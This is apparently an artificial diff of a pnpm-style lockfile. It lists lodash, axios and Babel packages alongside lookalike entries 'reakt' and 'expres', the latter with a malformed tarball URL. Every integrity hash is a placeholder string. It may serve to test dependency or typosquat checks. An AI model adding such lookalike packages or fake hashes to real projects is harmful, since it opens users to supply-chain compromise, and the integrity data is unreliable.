- proxy-from-env: "1.1.0"
33
-
34
- "/reakt@18.2.0":
35
- resolution:
36
- url: "https://registry.yarnpkg.com/reakt/-/reakt-18.2.0.tgz"
37
- sha512: abcdefghijk123456789
38
- dev: false
39
- optional: true
40
- dependencies: []
41
-
42
- "/@babel/core@7.23.9":
43
- resolution:
44
- url: "https://registry.yarnpkg.com/@babel/core/-/core-7.23.9.tgz"
45
- sha512: k2yVyqwsdd456789abcdefghij
46
- dev: true
47
- optional: false
48
- dependencies:
49
- "@babel/generator": "7.23.6"
50
- "@babel/parser": "7.23.9"
51
- "@babel/traverse": "7.23.9"
52
- "@babel/types": "7.23.9"
53
- convert-source-map: "2.0.0"
54
- debug: "4.1.0"
55
- gensync: "1.0.0-beta.2"
56
- json5: "2.2.3"
57
- semver: "6.3.1"
58
-
59
- "/@babel/generator@7.23.6":
60
- resolution:
61
- url: "https://registry.yarnpkg.com/@babel/generator/-/generator-7.23.6.tgz"
62
- sha512: abcdefghijk12345678abcdef
63
- dev: false
64
- optional: false
65
- dependencies:
66
- "@babel/types": "7.23.6"
67
- "@jridgewell/gen-mapping": "0.3.2"
68
- "@jridgewell/trace-mapping": "0.3.17"
69
- jsesc: "2.5.1"
70
-
71
- "/expres@4.18.2":
72
- resolution:
73
- url: "https://registry.npmjs.org/expres-4.18.2.tgz"
74
- sha512: abcdefghijk12345678
75
- dev: false
76
- optional: false
77
- dependencies:
78
- accepts: "1.3.8"
79
- array-flatten: "1.1.1"
80
- body-parser: "1.20.2"
81
- content-disposition: "0.5.4"
82
- content-type: "1.0.5"
83
- cookie: "0.5.0"
84
- cookie-signature: "1.0.6"
85
- debug: "2.6.9"
86
- depd: "2.0.0"
87
- encodeurl: "1.0.2"
88
- escape-html: "1.0.3"
89
- etag: "1.8.1"
90
- finalhandler: "1.2.0"
91
- fresh: "0.5.2"
92
- http-errors: "2.0.0"
93
- merge-descriptors: "1.0.1"
94
- methods: "1.1.2"
95
- on-finished: "2.4.1"
96
- parseurl: "1.3.3"
97
- path-to-regexp: "0.1.7"
98
- proxy-addr: "2.0.7"
99
- qs: "6.11.0"
100
- range-parser: "1.2.1"
101
- safe-buffer: "5.2.1"
102
- send: "0.18.0"
103
- serve-static: "1.15.0"
104
- setprototypeof: "1.2.0"
105
- statuses: "2.0.1"
106
- type-is: "1.6.18"
107
- utils-merge: "1.0.1"
108
- vary: "1.1.2"
109
-
110
- "/my-scope-plugin@1.0.0":
111
- resolution:
112
- url: "https://registry.npmjs.org/my-scope-plugin/-/my-scope-plugin-1.0.0.tgz"
113
- sha512: defghijk123456789abcdef
114
- dev: false
115
- optional: false
116
- dependencies:
117
- lodash: "4.17.21"
1
+ lockfileVersion: "6.0"
2
+
3
+ importers:
4
+ .:
5
+ dependencies:
6
+ lodash: "^4.17.21"
7
+ axios: "^1.6.0"
8
+ devDependencies:
9
+ "@babel/core": "^7.23.0"
10
+ optionalDependencies:
11
+ chalk: "^5.3.0"
12
+ peerDependencies:
13
+ react: ">=16"
14
+
15
+ packages:
16
+ "/lodash@4.17.21":
17
+ resolution:
18
+ url: "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz"
19
+ sha512: X2xvyqwsdd456789abcdefghijk
20
+ dev: false
21
+ optional: false
22
+ dependencies: {}
23
+
24
+ "/axios@1.6.8":
25
+ resolution:
26
+ url: "https://registry.npmjs.org/axios/-/axios-1.6.8.tgz"
27
+ sha512: j2xvyqwsdd456789abcdef
28
+ dev: false
29
+ optional: false
30
+ dependencies:
31
+ form-data: "4.0.0"
32
+ proxy-from-env: "1.1.0"
33
+
34
+ "/reakt@18.2.0":
35
+ resolution:
36
+ url: "https://registry.yarnpkg.com/reakt/-/reakt-18.2.0.tgz"
37
+ sha512: abcdefghijk123456789
38
+ dev: false
39
+ optional: true
40
+ dependencies: []
41
+
42
+ "/@babel/core@7.23.9":
43
+ resolution:
44
+ url: "https://registry.yarnpkg.com/@babel/core/-/core-7.23.9.tgz"
45
+ sha512: k2yVyqwsdd456789abcdefghij
46
+ dev: true
47
+ optional: false
48
+ dependencies:
49
+ "@babel/generator": "7.23.6"
50
+ "@babel/parser": "7.23.9"
51
+ "@babel/traverse": "7.23.9"
52
+ "@babel/types": "7.23.9"
53
+ convert-source-map: "2.0.0"
54
+ debug: "4.1.0"
55
+ gensync: "1.0.0-beta.2"
56
+ json5: "2.2.3"
57
+ semver: "6.3.1"
58
+
59
+ "/@babel/generator@7.23.6":
60
+ resolution:
61
+ url: "https://registry.yarnpkg.com/@babel/generator/-/generator-7.23.6.tgz"
62
+ sha512: abcdefghijk12345678abcdef
63
+ dev: false
64
+ optional: false
65
+ dependencies:
66
+ "@babel/types": "7.23.6"
67
+ "@jridgewell/gen-mapping": "0.3.2"
68
+ "@jridgewell/trace-mapping": "0.3.17"
69
+ jsesc: "2.5.1"
70
+
71
+ "/expres@4.18.2":
72
+ resolution:
73
+ url: "https://registry.npmjs.org/expres-4.18.2.tgz"
74
+ sha512: abcdefghijk12345678
75
+ dev: false
76
+ optional: false
77
+ dependencies:
78
+ accepts: "1.3.8"
79
+ array-flatten: "1.1.1"
80
+ body-parser: "1.20.2"
81
+ content-disposition: "0.5.4"
82
+ content-type: "1.0.5"
83
+ cookie: "0.5.0"
84
+ cookie-signature: "1.0.6"
85
+ debug: "2.6.9"
86
+ depd: "2.0.0"
87
+ encodeurl: "1.0.2"
88
+ escape-html: "1.0.3"
89
+ etag: "1.8.1"
90
+ finalhandler: "1.2.0"
91
+ fresh: "0.5.2"
92
+ http-errors: "2.0.0"
93
+ merge-descriptors: "1.0.1"
94
+ methods: "1.1.2"
95
+ on-finished: "2.4.1"
96
+ parseurl: "1.3.3"
97
+ path-to-regexp: "0.1.7"
98
+ proxy-addr: "2.0.7"
99
+ qs: "6.11.0"
100
+ range-parser: "1.2.1"
101
+ safe-buffer: "5.2.1"
102
+ send: "0.18.0"
103
+ serve-static: "1.15.0"
104
+ setprototypeof: "1.2.0"
105
+ statuses: "2.0.1"
106
+ type-is: "1.6.18"
107
+ utils-merge: "1.0.1"
108
+ vary: "1.1.2"
109
+
110
+ "/my-scope-plugin@1.0.0":
111
+ resolution:
112
+ url: "https://registry.npmjs.org/my-scope-plugin/-/my-scope-plugin-1.0.0.tgz"
113
+ sha512: defghijk123456789abcdef
114
+ dev: false
115
+ optional: false
116
+ dependencies:
117
+ lodash: "4.17.21"
118
118
  axios: "1.6.8"